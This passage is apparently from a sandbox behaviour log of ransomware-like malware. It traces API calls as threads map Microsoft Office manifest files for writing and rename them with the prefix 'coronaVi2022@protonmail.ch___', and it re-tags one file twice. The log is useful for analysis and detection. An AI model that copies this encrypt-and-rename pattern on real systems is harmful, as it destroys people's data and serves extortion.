	[0109.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.proof.culture.msi.16.en-us.xml")) returned 1
	[0109.902] free (_Block=0x51fa0c0) 
	[0109.902] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1030
	os_tid = 0x2090

	[0109.634] _alloca_probe () returned 0x40328a
	[0109.635] GetCurrentThreadId () returned 0x2090
	[0109.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", dwFileAttributes=0x80) returned 1
	[0109.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268
	[0109.636] GetFileSizeEx (in: hFile=0x268, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24558) returned 1
	[0109.636] CreateFileMappingA (hFile=0x268, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ffb, lpName=0x0) returned 0x12ac
	[0109.637] MapViewOfFile (hFileMappingObject=0x12ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.642] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.642] CloseHandle (hObject=0x12ac) returned 1
	[0109.642] GetCurrentThreadId () returned 0x2090
	[0109.642] FlushFileBuffers (hFile=0x268) returned 1
	[0109.644] CloseHandle (hObject=0x268) returned 1
	[0109.644] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.es-es.xml") returned 122
	[0109.644] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.proof.culture.msi.16.es-es.xml")) returned 1
	[0109.645] free (_Block=0x52000f0) 
	[0109.645] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1031
	os_tid = 0x2094

	[0109.647] _alloca_probe () returned 0x40328a
	[0109.648] GetCurrentThreadId () returned 0x2094
	[0109.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", dwFileAttributes=0x80) returned 1
	[0109.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12ac
	[0109.649] GetFileSizeEx (in: hFile=0x12ac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=24558) returned 1
	[0109.649] CreateFileMappingA (hFile=0x12ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ffb, lpName=0x0) returned 0x12b0
	[0109.649] MapViewOfFile (hFileMappingObject=0x12b0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.654] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.654] CloseHandle (hObject=0x12b0) returned 1
	[0109.654] GetCurrentThreadId () returned 0x2094
	[0109.654] FlushFileBuffers (hFile=0x12ac) returned 1
	[0109.898] CloseHandle (hObject=0x12ac) returned 1
	[0109.898] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.fr-fr.xml") returned 122
	[0109.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.proof.culture.msi.16.fr-fr.xml")) returned 1
	[0109.899] free (_Block=0x51fe0e0) 
	[0109.899] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1032
	os_tid = 0x2098

	[0109.657] _alloca_probe () returned 0x40328a
	[0109.658] GetCurrentThreadId () returned 0x2098
	[0109.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12b4
	[0109.658] GetFileSizeEx (in: hFile=0x12b4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=2042) returned 1
	[0109.659] CreateFileMappingA (hFile=0x12b4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x803, lpName=0x0) returned 0x12b8
	[0109.659] MapViewOfFile (hFileMappingObject=0x12b8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.660] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.660] CloseHandle (hObject=0x12b8) returned 1
	[0109.660] GetCurrentThreadId () returned 0x2098
	[0109.660] FlushFileBuffers (hFile=0x12b4) returned 1
	[0109.662] CloseHandle (hObject=0x12b4) returned 1
	[0109.662] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.proofing.msi.16.en-us.xml") returned 117
	[0109.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.proofing.msi.16.en-us.xml")) returned 1
	[0109.663] free (_Block=0x51fb0c8) 
	[0109.663] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1033
	os_tid = 0x209c

	[0109.735] _alloca_probe () returned 0x40328a
	[0109.736] GetCurrentThreadId () returned 0x209c
	[0109.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12b8
	[0109.737] GetFileSizeEx (in: hFile=0x12b8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=77386) returned 1
	[0109.737] CreateFileMappingA (hFile=0x12b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12e53, lpName=0x0) returned 0x12bc
	[0109.737] MapViewOfFile (hFileMappingObject=0x12bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0109.754] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0109.755] CloseHandle (hObject=0x12bc) returned 1
	[0109.755] GetCurrentThreadId () returned 0x209c
	[0109.755] FlushFileBuffers (hFile=0x12b8) returned 1
	[0109.953] CloseHandle (hObject=0x12b8) returned 1
	[0109.953] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml") returned 136
	[0109.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml")) returned 1
	[0109.957] free (_Block=0x51fc0d0) 
	[0109.957] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1034
	os_tid = 0x20a0

	[0109.904] _alloca_probe () returned 0x40328a
	[0109.905] GetCurrentThreadId () returned 0x20a0
	[0109.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12ac
	[0109.906] GetFileSizeEx (in: hFile=0x12ac, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=14132) returned 1
	[0109.906] CreateFileMappingA (hFile=0x12ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3737, lpName=0x0) returned 0x12bc
	[0109.906] MapViewOfFile (hFileMappingObject=0x12bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.909] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.909] CloseHandle (hObject=0x12bc) returned 1
	[0109.910] GetCurrentThreadId () returned 0x20a0
	[0109.910] FlushFileBuffers (hFile=0x12ac) returned 1
	[0109.913] CloseHandle (hObject=0x12ac) returned 1
	[0109.913] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.publishermui.msi.16.en-us.xml") returned 121
	[0109.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publishermui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.publishermui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.publishermui.msi.16.en-us.xml")) returned 1
	[0109.914] free (_Block=0x52010f8) 
	[0109.914] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1035
	os_tid = 0x20a4

	[0109.959] _alloca_probe () returned 0x40328a
	[0109.959] GetCurrentThreadId () returned 0x20a4
	[0109.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12ac
	[0109.960] GetFileSizeEx (in: hFile=0x12ac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=731118) returned 1
	[0109.960] CreateFileMappingA (hFile=0x12ac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb27fb, lpName=0x0) returned 0x12bc
	[0109.961] MapViewOfFile (hFileMappingObject=0x12bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2b50000
	[0110.139] UnmapViewOfFile (lpBaseAddress=0x2b50000) returned 1
	[0110.146] CloseHandle (hObject=0x12bc) returned 1
	[0110.146] GetCurrentThreadId () returned 0x20a4
	[0110.146] FlushFileBuffers (hFile=0x12ac) returned 1
	[0110.152] CloseHandle (hObject=0x12ac) returned 1
	[0110.152] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.shared.Office.x-none.msi.16.x-none.xml") returned 130
	[0110.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.shared.office.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.shared.Office.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.shared.office.x-none.msi.16.x-none.xml")) returned 1
	[0110.153] free (_Block=0x51fd0d8) 
	[0110.153] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1036
	os_tid = 0x20a8

	[0109.975] _alloca_probe () returned 0x40328a
	[0109.976] GetCurrentThreadId () returned 0x20a8
	[0109.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c4
	[0109.989] GetFileSizeEx (in: hFile=0x12c4, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=174846) returned 1
	[0109.990] CreateFileMappingA (hFile=0x12c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab0b, lpName=0x0) returned 0x12c8
	[0109.990] MapViewOfFile (hFileMappingObject=0x12c8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0110.130] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0110.132] CloseHandle (hObject=0x12c8) returned 1
	[0110.132] GetCurrentThreadId () returned 0x20a8
	[0110.132] FlushFileBuffers (hFile=0x12c4) returned 1
	[0110.150] CloseHandle (hObject=0x12c4) returned 1
	[0110.150] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml") returned 128
	[0110.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visio.visio.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.visio.visio.x-none.msi.16.x-none.xml")) returned 1
	[0110.151] free (_Block=0x51fc0d0) 
	[0110.151] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1037
	os_tid = 0x20ac

	[0110.189] _alloca_probe () returned 0x40328a
	[0110.189] GetCurrentThreadId () returned 0x20ac
	[0110.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0110.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c4
	[0110.191] GetFileSizeEx (in: hFile=0x12c4, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=986292) returned 1
	[0110.191] CreateFileMappingA (hFile=0x12c4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf0cb7, lpName=0x0) returned 0x12bc
	[0110.191] MapViewOfFile (hFileMappingObject=0x12bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3190000
	[0110.438] UnmapViewOfFile (lpBaseAddress=0x3190000) returned 1
	[0110.447] CloseHandle (hObject=0x12bc) returned 1
	[0110.447] GetCurrentThreadId () returned 0x20ac
	[0110.447] FlushFileBuffers (hFile=0x12c4) returned 1
	[0110.450] CloseHandle (hObject=0x12c4) returned 1
	[0110.450] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.visiomui.msi.16.en-us.xml") returned 117
	[0110.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.visiomui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.visiomui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.visiomui.msi.16.en-us.xml")) returned 1
	[0110.451] free (_Block=0x52010f8) 
	[0110.451] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1038
	os_tid = 0x20b0

	[0110.206] _alloca_probe () returned 0x40328a
	[0110.206] GetCurrentThreadId () returned 0x20b0
	[0110.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0110.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12cc
	[0110.207] GetFileSizeEx (in: hFile=0x12cc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=86894) returned 1
	[0110.207] CreateFileMappingA (hFile=0x12cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1537b, lpName=0x0) returned 0x12d0
	[0110.207] MapViewOfFile (hFileMappingObject=0x12d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0110.328] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0110.329] CloseHandle (hObject=0x12d0) returned 1
	[0110.329] GetCurrentThreadId () returned 0x20b0
	[0110.329] FlushFileBuffers (hFile=0x12cc) returned 1
	[0110.379] CloseHandle (hObject=0x12cc) returned 1
	[0110.379] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Word.Word.x-none.msi.16.x-none.xml") returned 126
	[0110.379] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.word.word.x-none.msi.16.x-none.xml")) returned 1
	[0110.380] free (_Block=0x51fc0d0) 
	[0110.380] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1039
	os_tid = 0x20b4

	[0110.454] _alloca_probe () returned 0x40328a
	[0110.454] GetCurrentThreadId () returned 0x20b4
	[0110.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0110.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12bc
	[0110.455] GetFileSizeEx (in: hFile=0x12bc, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=78078) returned 1
	[0110.455] CreateFileMappingA (hFile=0x12bc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1310b, lpName=0x0) returned 0x12cc
	[0110.455] MapViewOfFile (hFileMappingObject=0x12cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0110.472] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0110.473] CloseHandle (hObject=0x12cc) returned 1
	[0110.473] GetCurrentThreadId () returned 0x20b4
	[0110.473] FlushFileBuffers (hFile=0x12bc) returned 1
	[0110.475] CloseHandle (hObject=0x12bc) returned 1
	[0110.476] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.wordmui.msi.16.en-us.xml") returned 116
	[0110.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.wordmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.wordmui.msi.16.en-us.xml")) returned 1
	[0110.477] free (_Block=0x52000f0) 
	[0110.477] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1040
	os_tid = 0x20b8

	[0110.530] _alloca_probe () returned 0x40328a
	[0110.530] GetCurrentThreadId () returned 0x20b8
	[0110.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0110.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12cc
	[0110.531] GetFileSizeEx (in: hFile=0x12cc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=37360) returned 1
	[0110.531] CreateFileMappingA (hFile=0x12cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91f0, lpName=0x0) returned 0x12d0
	[0110.531] MapViewOfFile (hFileMappingObject=0x12d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0110.540] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0110.541] CloseHandle (hObject=0x12d0) returned 1
	[0110.541] GetCurrentThreadId () returned 0x20b8
	[0110.541] FlushFileBuffers (hFile=0x12cc) returned 1
	[0110.551] CloseHandle (hObject=0x12cc) returned 1
	[0110.552] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned 159
	[0110.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 1
	[0110.553] free (_Block=0x52010f8) 
	[0110.553] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1041
	os_tid = 0x20bc

	[0110.556] _alloca_probe () returned 0x40328a
	[0110.556] GetCurrentThreadId () returned 0x20bc
	[0110.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.accessmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
